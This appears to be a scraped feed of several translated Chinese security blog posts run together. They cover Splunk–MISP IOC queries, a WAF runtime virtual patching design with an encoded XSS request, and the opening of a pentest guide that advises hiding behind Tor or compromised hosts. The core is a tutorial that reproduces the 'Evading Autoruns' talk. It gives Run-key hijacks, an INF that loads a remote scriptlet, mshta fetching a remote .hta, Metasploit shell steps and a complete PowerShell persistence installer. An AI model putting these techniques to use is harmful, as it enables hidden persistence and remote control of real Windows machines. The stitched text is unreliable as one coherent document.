但是这个过程中有一个限制因素:每天(或每n个小时)定期所导出的新的IoC(入侵威胁指标)数据并非是立即可用的。比如说,当我们发现了类似Bad Rabbit(【相关报告】)这种新的安全威胁时,如果我们能够迅速获取到安全研究人员第一时间发布的IoC,那就非常棒了。那我们如何来实现这一点呢?你可以通过与Splunk服务器建立一条通信连接,并执行命令(或使用自定义搜索命令,需要命令控制台的访问权)来手动完成数据的导出过程。Splunk本身提供了非常优秀的查询语言,但你知不知道其实你可以用你自己的命令来进一步扩展Splunk的查询语句?非常好,那么接下来我们应该怎么做呢?


自定义Splunk搜索命令

一条Splunk自定义搜素命令其实就是一个非常小的程序,而实现这种程序的语言是可以在Splunk环境中执行的。我这里选择使用python,而且相关的SDK也是现成的。实现的主要思想非常简单:即通过处理输入数据来生成新的输出数据。这也是很多计算机程序的基础运行流程。

我所编写的自定义搜索命令可以与MISP平台进行交互并获取IoC(入侵威胁指标)数据。演示样例如下所示:


【技术分享】自定义的Splunk搜索命令:从开源威胁情报平台获取IOC信息

命令语句如下所示:

|getmispioc[server=https://host:port] [authkey=misp-authorization-key] [sslcheck=y|n] [eventid=id] [last=interval] [onlyids=y|n] [category=string] [type=string]

在上面这段演示代码中,‘eventid’(返回特定事件的IoC)和‘last’(返回特定时间周期内的IoC,时间单位可以是n个小时、日、周或月)这两个参数是必须要强制提供的。除此之外,你可以通过设置‘ids_only’标记或指定IoC类型/类别来对返回的数据进行过滤筛选。演示样例如下所示:

|getmispioclast=2donlyids=ytype=ip-dst
【技术分享】自定义的Splunk搜索命令:从开源威胁情报平台获取IOC信息

接下来,你还可以向命令中整合更多复杂的查询语句来跨日志搜索IoC(入侵威胁指标)。在下面这段演示代码中,我们指定在queries.log日志文件中搜索感兴趣的目标域名:

source=/var/log/named/queries.log [|getmispioclast=5dtype=domain |renamevalueasquery |fieldsquery ]
【技术分享】自定义的Splunk搜索命令:从开源威胁情报平台获取IOC信息

工具介绍

我们的自定义命令是基于PyMISP实现的,相关的脚本和安装细节可以参考我的GitHub主页【传送门】。

PyMISP是一个专门用来访问MISP平台的Python代码库,它使用了MISP的REST API。PyMISP可以帮助你获取事件数据,添加或更新事件/属性,添加或更新威胁样本,以及搜索特定属性等等。

依赖组件

python-requests

使用pip安装:

pip3installpymisp

直接从GitHub代码库中下载安装最新版本:

gitclonehttps://github.com/CIRCL/PyMISP.git&&cdPyMISP pip3install-I.

PyMISP使用样例

更多丰富的使用样例和参考脚本可以在PyMISP项目的examples/目录中找到。

在examples/目录中,你需要修改keys.py.sample文件,并输入你自己的MISP url地址以及API密钥:

cdexamples cpkeys.py.samplekeys.py vimkeys.py

其中,MISP的API密钥可以在MISP Web接口中的自动化(Automation)设置部分找到。

为了测试你输入的URL地址以及API密钥是否正确,你可以使用examples/last.py来尝试获取最新发布的十条威胁事件信息:

cdexamples python3last.py-l10

参考文档

点击【这里】查看PyMISP的API文档。

除此之外,你还可以使用epydoc命令来生成文档:

epydoc--urlhttps://github.com/CIRCL/PyMISP--graphall--namePyMISP--pdfpymisp-odoc

自定义开发

其中,AbstractMISP是程序的主类,并且继承了collections.MutableMapping,因此它可以直接当作一个Python字典来使用。MISPEvent、MISPAttribute、MISPObjectReference、MISPObjectAttribute和MISPObject是AbstractMISP的子类,因此你可以将它们当作Python字典来处理。

MISP对象

在创建一个新的MISP对象生成器时,你需要使用一个预定义的模板,并继承AbstractMISPObjectGenerator类。

在使用新的MISP对象生成器来生成事件属性并将其当作类属性(properties)来添加时,你需要使用add_attribute。

当对象发送给MISP平台之后,所有的类属性都将会以JSON格式导出。


总结

在这篇文章中,我们给大家介绍了如何自定义Splunk的搜索命令,并从MISP这个开源的威胁情报平台获取入侵威胁指标信息。通过本文所介绍的方法,我们不仅可以进一步发挥Splunk和MISP这两种工具的作用,而且还可以提升我们的事件响应效率,感兴趣的同学还可以在文章下方留言讨论更加高效的搜索语句。



【技术分享】自定义的Splunk搜索命令:从开源威胁情报平台获取IOC信息
【技术分享】自定义的Splunk搜索命令:从开源威胁情报平台获取IOC信息
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blog.rootshell.be/2017/10/31/splunk-custom-search-command-searching-misp-iocs/

【技术分享】那些“躲避”微软autoruns工具的方法

$
0
0
【技术分享】那些“躲避”微软autoruns工具的方法

2017-11-07 14:02:37

阅读:760次
点赞(0)
收藏
来源: conscioushacker.io





【技术分享】那些“躲避”微软autoruns工具的方法

作者:blueSky





【技术分享】那些“躲避”微软autoruns工具的方法

译者:blueSky

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

背景

在第七届的DerbyCon大会上, Chris Bisnett和Kyle Hanslovan发表了一个名叫“Evading Autoruns”的演讲。在这篇演讲中, Kyle 和Chris展示了绕过微软Sysinternals Autoruns工具检查的方法。他们主要利用“PATHEXT”这个windows环境变量以及Microsoft签名的可执行文件来持久运行注册表项。由于这些家伙的演讲实在是太精彩了,因此我强烈推荐你们看一下他们以下发布的与演讲有关的资料:

Talk

Slides

PoC

Example “shady” INF

Github


摘要

从攻击者的视角来看,获取对远端机器的访问权限是关键;而从安全防护的视角来看,发现攻击者的踪迹同样重要。在这次演讲中,Kyle 和Chris披露了几种“高端”技术用于绕过最常见的系统监视工具,这些“高端”技术涉及重新创建注册表中的run key、非常规利用搜索顺序以及利用可信应用程序。为了补充他们的技术说明,针对每种绕过方法本文都将包括demo演示和检测建议。现在我们已经回顾了上述所有的材料,下面我们对该演讲中有趣的技术内容进行深入探讨。


Autoruns扩展搜索顺序技术

在幻灯片68页,我们看到一个有趣的声明,具体如下图所示:


【技术分享】那些“躲避”微软autoruns工具的方法

上图中红色框中的内容让我想起Windows上的“PATHEXT”环境变量,之后我继续阅读下面几张幻灯片,以确保我了解搜索顺序如何工作,然后我看到以下幻灯片。


【技术分享】那些“躲避”微软autoruns工具的方法

通过上图我们发现,PATHEXT环境变量在 '.EXE' 之前会去查找'.COM'扩展名,并且这一发现在下一张幻灯片中得到了验证,这让我想起了Derbycon 3.0中的Christopher Campbell和Matt Graeber的“Living Off the Land”演讲 。


【技术分享】那些“躲避”微软autoruns工具的方法

现在,我们了解了搜索顺序是如何工作的。理论上,如果我们修改了现有的注册表项,那么我们应该可以加载'.COM'而不是'.EXE',因为搜索顺序会首先查找'.COM'扩展名,这正是利用了Windows的工作原理,下面我们继续研究他们的幻灯片。


【技术分享】那些“躲避”微软autoruns工具的方法

上图看起来像是Windows 10上Windows Defender的注册表项。我猜测下面必须要将这个注册表项的值从“C:\ Program Files \ Windows Defender \ MSASCuiL.exe”修改为“C:\ Program Files \ Windows Defender \ MSASCuiL”,并将“.COM”文件放在同一目录中。 下面让我们来看看我的猜测是否正确。


【技术分享】那些“躲避”微软autoruns工具的方法

通过上图发现我的猜测是对的。我们来看看他们是否将“.COM”文件添加到同一个目录了。


【技术分享】那些“躲避”微软autoruns工具的方法

从上面ppt上来看他们的确那么做了,下面我们来研究一下AutoRuns程序。


【技术分享】那些“躲避”微软autoruns工具的方法

通过上图发现,这的确是一个十分漂亮的绕过,从图中可以看到我们的“.COM”文件的发行者是“Microsoft Corporation”。

现在我们了解了“搜索顺序”的工作原理,下面我们在Windows 7和Windows 10中做个实验。首先,使用我开发的GreatSCT工具生成一个COM scriptlet payload,该工具在使用的时候需要首先安装python3和Metasploit。其次,需要目标系统上安装了微软的 Excel。下面我们开始我们的实验:

gitclonehttps://github.com/GreatSCT/GreatSCT python3gr8sct.py
【技术分享】那些“躲避”微软autoruns工具的方法

执行上述两个操作之后将看到以下提示,按任意键开始实验。


【技术分享】那些“躲避”微软autoruns工具的方法

我们将使用“SCT / regsvr32.cfg”选项,输入3,然后按Enter键。下图是上述生成的payload的配置参数:


【技术分享】那些“躲避”微软autoruns工具的方法

注意我将输出文件设置为“MSASCuiL.com”。输入generate,然后按Enter键。


【技术分享】那些“躲避”微软autoruns工具的方法

现在我们生成了一个COM有效载荷,下面我们可以测试“扩展搜索顺序”技术了。 首先安装一个有Excel的Windows 7虚拟机。第一步,让我们修改Windows Defender注册表项:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth(REG_EXPAND_SZ)–C:\ProgramFiles\WindowsDefender\MSASCui
【技术分享】那些“躲避”微软autoruns工具的方法

将COM有效载荷放在C:\Program Files\Windows Defender\并命名为“MSASCui.com”


【技术分享】那些“躲避”微软autoruns工具的方法

下一步设置metasploit的监听程序:


【技术分享】那些“躲避”微软autoruns工具的方法

然后重新启动Windows 7 VM并等待我们的shell。


【技术分享】那些“躲避”微软autoruns工具的方法

从上图可以看到,我们成功获取到了一个shell。


Autoruns INF 技术

首先让我们来看一下Casey Smith (@subtee)关于Scriptlets的介绍:


【技术分享】那些“躲避”微软autoruns工具的方法

下面是安全防护对上述攻击的防护:


【技术分享】那些“躲避”微软autoruns工具的方法

Chris和Kyle在MSDN上发现了关于“INF”文件的介绍。


【技术分享】那些“躲避”微软autoruns工具的方法

下面我们继续浏览他们的幻灯片,看看是否有关于“INF”的例子。


【技术分享】那些“躲避”微软autoruns工具的方法

上图的确是一个关于“INF”文件的例子,但这是如何工作的?通过阅读下面这张ppt我发现他们使用的是“rundll32.exe”而不是“regsvr32.exe”。


【技术分享】那些“躲避”微软autoruns工具的方法

下面我将演示如何使用“rundll32.exe”和“INF”文件来绕过微软的Antorun技术。


【技术分享】那些“躲避”微软autoruns工具的方法

在本实验中我依然使用上述使用GreatSCT工具生成的payload,而且出于安全性的考虑,我将对ppt中提供的shady.inf进行修改,内容如下所示:

;———————————————————————- ;RequiredSections ;———————————————————————- [Version] Signature=$CHICAGO$ Provider=test Class=Printer [Manufacturer] HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64 ;———————————————————————- ;ModelsSection ;———————————————————————- [ModelsSection.NTx86] UnregisterDlls=Squiblydoo [ModelsSection.NTia64] UnregisterDlls=Squiblydoo [ModelsSection.NTamd64] UnregisterDlls=Squiblydoo ;———————————————————————- ;SupportSections ;———————————————————————- [DefaultInstall] UnregisterDlls=Squiblydoo [Squiblydoo] 11,,scrobj.dll,2,60,https://blog.conscioushacker.io/testaroo.sct

我将上述内容保存到“testaroo.inf”文件中,并将放在我的桌面上。下一步是创建一个注册表项。


【技术分享】那些“躲避”微软autoruns工具的方法

与上一个实验一样:首先设置一个metasploit监听器,然后重新启动Windows 7 VM并等待shell回连。但是我并没有得到一个shell,因此我打开Process Hacker来查找原因。


【技术分享】那些“躲避”微软autoruns工具的方法

在上图进程树中我并没有找到rundll32.exe,但通过在Windows 7上手动执行“rundll32.exe setupapi,InstallHinfSection ModelsSection 128 C:\Users\lopi\Desktop\testaroo.inf”时,我发现是可以得到一个回连的shell的,但Windows 10上却不行。通过查阅资料我找到了原因,Chris和Kyle在他们的演讲中并没有提到这些内容,那就是:Windows 10要求驱动程序必须具有合法的签名,以便在没有用户提示的情况下进行安装。

Autoruns InfDefaultInstall.exe 技术

接下来我们介绍InfDefaultInstall.exe技术,具体如下图所示:


【技术分享】那些“躲避”微软autoruns工具的方法

通过阅读ppt我发现,我们可以使用“InfDefaulInstall.exe”而不是“rundll32.exe”,并可以使用相同的方式将它应用到以前的技术。首先我们启动Windows 10 VM,然后我们看看是否有相同的数字签名以及UAC是否提示“InfDefaultInstall.exe”。


【技术分享】那些“躲避”微软autoruns工具的方法

有UAC的提示,但是数字签名怎么样呢?


【技术分享】那些“躲避”微软autoruns工具的方法

实验中我们发现Windows 10上好像并不行,因此我建议在Windows 7以下的操作系统上使用这种技术。而且,在Windows 7和Windows 10操作系统上,我也依然无法通过的autoruns注册表项使其工作。尽管该技术在Chris和Kyle的演讲中看起来很神奇,但在实践中却不是这样的。

Autoruns SyncAppvPublishing.exe 技术

让我们通过一张幻灯片来直接介绍该技术吧。


【技术分享】那些“躲避”微软autoruns工具的方法

该技术看起来很简单,下面我们试着在Windows 10 VM中添加一个注册表项。


【技术分享】那些“躲避”微软autoruns工具的方法

现在我们重新启动我们的Windows 10 VM并期待calc.exe应用程序能够执行起来,实验结果如下图所示:


【技术分享】那些“躲避”微软autoruns工具的方法

Ok, 我们成功弹出了计算器程序!


教程

Autoruns扩展搜索顺序技术

Windows 7 & Windows 10

1.生成一个COM脚本的有效负载

2.修改现有的注册表项以加载您的COM脚本而不是可执行文件。HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth (REG_EXPAND_SZ) – C:\Program Files\Windows Defender\MSASCui

3.将COM有效载荷放在C:\Program Files\Windows Defende并命名“MSASCui.com”

Autoruns INF 技术(没有用)

Windows 7系统 & Windows 10

1.生成一个COM脚本的有效负载

2.修改“INF”文件:

https://github.com/huntresslabs/evading-autoruns/blob/master/shady.inf

3.添加注册表项以加载你的INF文件。

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WhateverYouWant(REG_EXPAND_SZ)–“InfDefaultInstall.exeshady.inf”

4.将您的INF有效载荷放在C:\Windows\system32目录中。

InfDefaultInstall.exe Autoruns 技术(不工作)

Autoruns SyncAppvPublishing.exe技术

Windows 7系统 & Windows 10

1.生成一个COM脚本的有效负载

2.修改“INF”文件:

https://github.com/huntresslabs/evading-autoruns/blob/master/shady.inf

3.添加注册表项以加载你的INF文件。

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WhateverYouWant(REG_EXPAND_SZ)–“InfDefaultInstall.exeshady.inf”

4.将您的INF有效载荷放在C:\Windows\system32目录中。

Autoruns SyncAppvPublishing.exe技术

Windows 10

1.生成一个有效载荷:

例如mshta.exe https://blog.conscioushacker.io/testaroo.hta

2.添加注册表项以执行你的有效载荷。

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WhateverYouWant(REG_EXPAND_SZ)–‘SyncAppvPublishingServer.exe“.; Start-Processmshta.exehttps://blog.conscioushacker.io/testaroo.hta”‘

AutoRuns Powershell Script

下面这个脚本可能更实用, 可以在这里下载。

<# AutoRunsv1.0 License:GPLv3 Author:@ConsciousHacker Credits:@HuntressLabs References:https://github.com/huntresslabs/evading-autoruns #> functionInstallAutoRuns-COM { #PlaceyourcomscriptletinC:\ProgramFiles\WindowsDefender\as"MSASCuiL.com" $AutoRuns="HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" $FakeProgramName="SecurityHealth" $ComScriptlet='"C:\ProgramFiles\WindowsDefender\MSASCui"' Set-ItemProperty-Path$Autoruns-Name$FakeProgramName-Value$ComScriptlet-TypeExpandString } functionUninstallAutoRuns-COM { $AutoRuns="HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" $FakeProgramName="SecurityHealth" $ComScriptlet='"C:\ProgramFiles\WindowsDefender\MSASCui.exe"' Set-ItemProperty-Path$Autoruns-Name$FakeProgramName-Value$ComScriptlet-TypeExpandString } functionInstallAutoRuns-INFDefaultInstall { param ( [Parameter(Mandatory=$True)] [string]$Path ) #Exampleinfhere:https://github.com/huntresslabs/evading-autoruns/blob/master/shady.inf #TODO:Generateinffile #TODO:paramforregistrykeyname $AutoRuns="HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" $infpath=$Path $infdefaultinstall="INFDefaultInstall" $ComScriptlet='"C:\Windows\system32\infdefaultinstall.exe'+$infpath+'"' Set-ItemProperty-Path$Autoruns-Name$infdefaultinstall-Value$ComScriptlet-TypeExpandString } functionUninstallAutoRuns-INFDefaultInstall { param ( [Parameter(Mandatory=$True)] [string]$Path ) #TODO:paramforregistrykeyname $AutoRuns="HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" $infpath=$Path $infdefaultinstall="INFDefaultInstall" Remove-ItemProperty-Path$Autoruns-Name$infdefaultinstall } functionInstallAutoRuns-SquiblydooINF { param ( [Parameter(Mandatory=$True)] [string]$Path ) #Exampleinfhere:https://github.com/huntresslabs/evading-autoruns/blob/master/shady.inf #TODO:Generateinffile #TODO:paramforregistrykeyname $AutoRuns="HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" $infpath=$Path $infdefaultinstall="Squiblydoo" $ComScriptlet='"C:\Windows\system32\rundll32.exesetupapi,InstallHinfSectionModelsSection128'+$infpath+'"' Set-ItemProperty-Path$Autoruns-Name$infdefaultinstall-Value$ComScriptlet-TypeExpandString } functionUninstallAutoRuns-SquiblydooINF { param ( [Parameter(Mandatory=$True)] [string]$Path ) #TODO:paramforregistrykeyname $AutoRuns="HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" $infpath=$Path $infdefaultinstall="Squiblydoo" Remove-ItemProperty-Path$Autoruns-Name$infdefaultinstall } functionInstallAutoRuns-SyncAppvPublishing { param ( [Parameter(Mandatory=$True)] [string]$Cmd ) $SyncAppvPublishing='"C:\Windows\system32\SyncAppvPublishingServer.exe".;'+$Cmd+'""' $AutoRuns="HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" Set-ItemProperty-Path$Autoruns-Name"SyncAppvPublishing"-Value$SyncAppvPublishing-TypeExpandString } functionUninstallAutoRuns-SyncAppvPublishing { $AutoRuns="HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" Remove-ItemProperty-Path$Autoruns-Name"SyncAppvPublishing" }

总结

虽然这个脚本可能很实用,但它的效率却很低,因此或许我需要花更多的时间来学习和写作powerhell。针对上述实验中碰到的问题,我通过Twitter与Kyle取得了联系,并询问他有关“InfDefaultInstall.exe”和“Squiblydoo INF”持久性技术的问题,但是他也没有给我一个确切的回答。因此对于一些技术,我们应该充分的了解和研究,并将研究成果应用于实际才是最好的。当然,如果你能够将自己的探索过程记录下来并分享给大家也是很不错的,因此我希望有一个比我更聪明的人可以帮助填补这里的空白。



【技术分享】那些“躲避”微软autoruns工具的方法
【技术分享】那些“躲避”微软autoruns工具的方法
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blog.conscioushacker.io/index.php/2017/10/25/evading-microsofts-autoruns/

【技术分享】详谈WAF与静态统计分析

$
0
0
【技术分享】详谈WAF与静态统计分析

2017-11-07 16:47:00

阅读:638次
点赞(0)
收藏
来源: ptsecurity.com





【技术分享】详谈WAF与静态统计分析

作者:blueSky





【技术分享】详谈WAF与静态统计分析

译者:blueSky

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

虚拟补丁(VP)近年来一直是保护应用程序最受欢迎的方法之一,如果在Web应用程序防火墙层级添加VP功能,该功能可用于保护Web应用程序免遭已知漏洞的威胁攻击。简而言之,VP利用静态应用程序安全测试(SAST)的结果并使用它们来创建规则以用来过滤WAF上的HTTP请求。 但问题在于,SAST和WAF依赖于不同的应用程序模型和不同的决策方法。因此,目前可用的解决方案中没有一个能够将SAST与WAF完美的结合起来。SAST基于白盒模型,它采用公式方法来检测代码中的漏洞。然而,WAF将应用程序视为黑盒子,因此它使用启发式方式进行攻击检测。但是如果我们能让SAST和WAF完美的结合在一起使用,我们可以通过SAST获取有关应用程序内部结构的信息,并将这些信息提供给WAF,这样我们就可以以一种“优雅”的方式来检测网络攻击。


传统VP

一般地,在Web应用程序传统自动化虚拟修补方法中,我们需要向WAF提供SAST检测到的每个漏洞信息,这些信息包括:

漏洞分类

Web应用程序的脆弱点

攻击所需的HTTP请求参数值

构成攻击向量脆弱点参数的值

脆弱点参数中可用于漏洞利用的一组字符或一个单词。

一般地,我们可以通过定义某些函数来获取HTTP请求中的参数值,例如下面是一段易受XSS攻击的ASP.NET页面的代码片段:


【技术分享】详谈WAF与静态统计分析

通过分析针对上面页面的攻击向量代码,我们可以生成一组攻击向量值的符号公式:

{condition =“secret”param∈{XSShtml-text}} ,其中XSShtml-text是TEXT上下文中用于XSS攻击的向量集合。在实际的应用场景中,WAF虚拟补丁的描述符可用于生成过滤规则,以阻止所有能够利用相关漏洞的HTTP请求。

虽然这种做法肯定会导致某些攻击,但它有一些很大的缺点:

为了表示任何给定的漏洞,SAST需要发现一个可能的攻击向量。 但为了确保能够真正消除一个漏洞,SAST有必要处理所有可能的攻击向量。但是SAST很难将这些信息传递给WAF,因为由于攻击向量语法的不规则性,矢量集不仅是无穷大的,甚至不能用正则表达式来表达。

对于漏洞利用所需的其他请求参数的值也是如此。

如果入侵点和脆弱执行点之间的攻击向量语法在其上下文中发生了变化,那么有关脆弱参数的信息将变得没有任何的价值。

由于这些设计上的缺陷,对于SAST检测到的漏洞,VP技术不能针对其提供可能的攻击保护。尝试创建这种“全面的”流量过滤规则通常会阻止合法HTTP请求并中断Web应用程序的操作,下面让我们稍微修改漏洞的代码:


【技术分享】详谈WAF与静态统计分析

与上一个例子的区别是:在对两个请求参数都做了Decode处理,针对该新代码的攻击向量公式如下所示:

(CustomDecodecondition)“secret”param∈(CustomDecode{XSShtml-text}) 。静态分析会在相关计算流程图(ConfiG)节点中为自定义解码函数导出一个公式,以描述Base64-URL-Base64转换链,如下所示:
(FromBase64Str(UrlDecodeStr(FromBase64Strargument)))

。针对这样的公式,我们仍然有可能在其基础上构建一个漏洞,但是由于以下原因,生成虚拟补丁的方法不能应用于此:

只有当请求中的“condition”参数包含“secret”子字符串时,才可能利用此漏洞。 然而,该参数的值集是非常大的,并且由于解码功能的不规则性,通过正则表达式表达该集合是不可行的。

事实上,攻击向量的请求参数也被解码。因此,SAST无法将该组危险元素描述为WAF。

由于传统VP的所有问题都源于无法与基于白盒方法的WAF级别的应用程序进行交互,因此明显的解决方案是实现此功能并进一步改进,以便:

SAST向WAF提供有关易受攻击的参数以及从进入点到易受攻击的执行点这整个过程中对攻击变量所做的所有转换信息。

对于攻击检测,启发式方法被公式方法所替换,并且包含任何漏洞的利用条件信息。

因此,运行时虚拟补丁应运而生。


运行时虚拟补丁

运行时虚拟修补(RVP)的原理是基于PT应用检查器(PT AI)中的计算流程图模型实现的。与公式符号计算的语义表示类似,该模型是使用应用程序代码的抽象解释构建出来的,模型中的图节点包含了目标语言的生成公式,并且公式产生与相关执行点上的所有数据流相关联的所有合法值的集合,具体如下图所示:


【技术分享】详谈WAF与静态统计分析

上图中的这些流被称为执行点参数。 由于CompFG是可评估的,因此我们可以根据输入参数的值,在任何执行点上计算所有参数的值。 通常情况下,RVP分为部署(D)和运行(R)两个阶段,这俩个阶段分别对应于应用程序生命周期,具体如下图所示:


【技术分享】详谈WAF与静态统计分析

部署阶段

在部署新版本的应用程序之前,应用程序由PT AI分析,并且为那些易受攻击的执行点中的每个CompFG节点计算三个公式:

获取脆弱执行点的条件

获取其所有参数值的条件

所有参数及其相应语法的值集

上述中的所有公式集都将按照应用程序的入口点进行分组,入口点定义于分析器的数据库中,并和PT AI支持的每个Web框架相关联。通过提取包含的漏洞信息以及从代码(基于S-expression语法的特殊语言编写的代码,编程语言使用不依赖于目标语言的形式来描述CompFG公式)中提取相关的公式列表形成一份报告,例如上述代码示例中描述脆弱点参数值的公式如下:

(+(+"Parametervalueis`"(FromBase64Str(UrlDecodeStr(FromBase64Str(GetParameterData(param))))))"`")

获取脆弱点的公式是:

(Contains(FromBase64Str(UrlDecodeStr(FromBase64Str(GetParameterData(condition)))))“secret”)

。然后将报告被上传到PT应用防火墙 (PT AF),在报告的基础上,PT WAF生成二进制模块,该模块可以计算报表中包含的所有公式。 例如,用于计算达到上述脆弱点的条件的反编译代码如下:


【技术分享】详谈WAF与静态统计分析

为了对公式进行计算操作,PT AF必须具有以下条件之一:

预先计算可能在报告中出现的所有函数

具有沙箱运行环境,用于运行Web应用程序或其他平台(如CLR,JVM或phppython或Ruby解释器)以及应用程序中使用的库

第一种方法在一定程度上能够保证速度很快,但WAF开发人员需要大量的手动工作来描述预计算数据库,即使开发人员将范围限制为标准库函数。第二种方法允许计算报告中可能出现的所有函数,但这种方法会增加处理每个HTTP请求所需的时间,因为WAF需要访问运行时环境来对每个函数执行计算操作。这里最合适的解决方案是使用第一种方法进行最常见函数的计算,而对其余函数使用第二种方法。

公式中很可能会包含分析器无法处理的函数或者PT AF无法计算的函数,这些函数在公式中会被标记为“unknown”,并以如下所述的特殊方式进行处理。


运行阶段

在运行阶段,WAF将每个HTTP请求的处理委托给二进制模块,该模块分析请求并检测Web应用程序中的相关入口点。为此,WAF会选择所有检测到的漏洞公式,然后以特定方式执行计算操作。

首先,计算公式的两个条件为:1)到达脆弱点,2)获取其所有参数的值。 在每个公式中,变量用相关请求参数的值代替,之后计算公式值。 如果公式包含标记为“unknown”的表达式,则其处理如下:

每个“unknown”标志通过公式表达式树自下而上扩展,直到找到布尔表达式。

在公式中,这样的表达式会被布尔变量替换,以用来解决布尔可满足性问题。

假设通过上一步骤生成了关于“unknown”的n个公式,那么计算每个公式的值。 如果至少有一个公式是可满足的,那么该假设也被认为是可以满足的。

如果计算显示假设为假,那么即使所有请求参数都有危险的值,HTTP请求也无法将应用程序引导到易受攻击的点。在这种情况下,RVP只需向WAF的核心模块返回请求处理即可。如果攻击条件满足,那么WAF会计算脆弱点的参数值,使用的算法取决于分析点所属的漏洞等级。这些算法之间的相似之处是用于处理包含未知节点公式的逻辑:与假设公式不同,在计算时参数公式不会被计算,而是立即被传达给WAF。为了更好地理解这一点,我们现在将回顾一下用于检测注入攻击的最复杂的算法。


检测注入攻击

注入攻击通过将特定形成的输入数据传递给应用程序来执行恶意操作,当这些数据被“注入”到目标文本中(包括HTML, XML, javascript, SQL, URLs, 以及文件路径)时,文本中包含了应用程序逻辑不想要的句法结构。如果一个脆弱点属于这个攻击类,那么它的参数值是可以通过使用污点分析语义中抽象解释的增量计算来确定的。这种方法背后的思想是:从下到上分别计算每个表达式,同时获得每个步骤的计算结果、每个函数的语义以及传统污点检查的规则。例如,对于上述代码和以下HTTP请求参数:

condition=YzJWamNtVjA%3d&param=UEhOamNtbHdkRDVoYkdWeWRDZ3hLVHd2YzJOeWFYQjBQZyUzRCUzRA%3d%3d ,将此算法应用于弱点参数的公式的结果如下(污染参数标记为红色):

【技术分享】详谈WAF与静态统计分析

然后根据脆弱点参数的语法对该值进行标记,如果任何污点的片段匹配多个令牌,那么就代表这是一次注入的攻击。


【技术分享】详谈WAF与静态统计分析

一旦与当前入口点相关的所有漏洞的公式计算结束,请求处理将与检测结果一起传递给WAF的核心模块。


RVP优点和具体功能

与传统VP相比,这种基于代码分析的应用程序保护方法具有很大的优势:

得益于上述公式方法以及所有中间转换的能力,传统VP的缺点得到了解决。

公式方法也完全排除了假阳性的可能性,只要公式不包含未知节点

对Web应用程序功能没有不利影响,因为保护是建立在应用程序的功能上,而不是简单地试图解决它们。

为了测试该技术并确认其有效性,我们开发了一种用于PT应用程序检查器和PT应用程序防火墙的模块原型,实验结果表明大约十五个开源内容管理系统(CMS)的性能测试显示出很好的结果:使用RVP处理HTTP请求所需的时间与使用传统(启发式)WAF方法处理此类请求所需的时间相当。 Web应用程序的平均性能如下:

对于那些非攻击的请求占比为0%

对于那些非攻击请求,但会导致脆弱点的占比为6-10%

对于那些是攻击请求的,且会导致脆弱点的占比为4-7%

尽管与传统VP相比有明显优势,但RVP仍有几个概念上的缺点:

不可能在WAF(包括文件资源,数据库和服务器环境)上计算包含来自外部源的数据公式。

公式的质量直接取决于分析期间代码片段的质量(包括循环,递归和对外部库方法的调用)。

为了描述预计算数据库中函数的语义,需要开发人员加入到其中,该描述过程很难自动化,且容易出现人为错误。

然而,我们已经设法通过将一些RVP功能从应用程序中删除并使用RASP技术来缓解上述这些缺陷,该部分内容我们将会在新的文章中进行阐述,尽请期待吧~



【技术分享】详谈WAF与静态统计分析
【技术分享】详谈WAF与静态统计分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.ptsecurity.com/2017/10/do-wafs-dream-of-static-analyzers.html

【技术分享】黑盒渗透测试的一些姿势和个人总结

$
0
0
【技术分享】黑盒渗透测试的一些姿势和个人总结

2017-11-07 14:49:58

阅读:3461次
点赞(0)
收藏
来源: 安全客





【技术分享】黑盒渗透测试的一些姿势和个人总结

作者:FoxRoot





【技术分享】黑盒渗透测试的一些姿势和个人总结

作者:FoxRoot

预估稿费:350RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前记

对于“渗透测试”这个事,我也时常纠结,尤其在“度”的方面上,毕竟自己还很年轻。个人感觉,渗透是在不影响单位正常运营的前提下的一场完整攻击,目标是一个面不是一个点。但是,大家都懂得2333。

入坑以来,跟着网上师傅们分享的各种好文章划来划去,终于肚子里有点墨水挤出来了,水了一篇基于隐秘测试的黑盒渗透测试的小文分享一下。本文主要分享下一些姿势和个人总结,文章涉及的工具可能比较多,就不一一举例用法了,毕竟不想搞成一个工具使用说明文*(相关工具用法搜索一下就有了)*,也不提供下载链接了,毕竟我是好公民。

LOVE 互联网的分享精神,LOVE 师傅们的好文章。—— FoxRoot


个人准备

搜集整理一套可靠的VPN或国外代理池或Tor或肉鸡或……

准备一套新win+lin虚拟机并安装常用工具,不要使用实体机。

白天好好睡觉,晚上干活,万一对服务造成伤害还可以降低影响。


信息搜集

主动/被动搜集

信息搜集分为主动信息搜集和被动信息搜集。

主动信息搜集就是通过直接访问和扫描信息的方式进行收集信息,缺点是会记录自己的操作信息;被动信息搜集就是通过第三方服务进行信息搜集,缺点是收集信息有限。信息搜集是很重要的一部分,信息越全面对后面的攻击越有帮助,可以先尽最大努力的使用被动信息搜集方式最大效果的搜集信息,再使用主动信息搜集的方式搜集非被动搜集不到的信息。

常用套路

1. 搜集网站单位信息。这项可以通过一些在线网站来查询,可以由此得到单位的基本信息。分享几个单位信息查询站点:天眼查、启信宝、企业信用信息公示系统、事业单位在线、

2. 搜集whois信息。一个网站的切入点,可以由此得到域名相关信息。列举几个whois查询站点:Chinaz、Aliyun、Whois365

3. 搜集网站备案信息:ICP备案查询网 、ICP/IP地址/域名信息备案管理系统

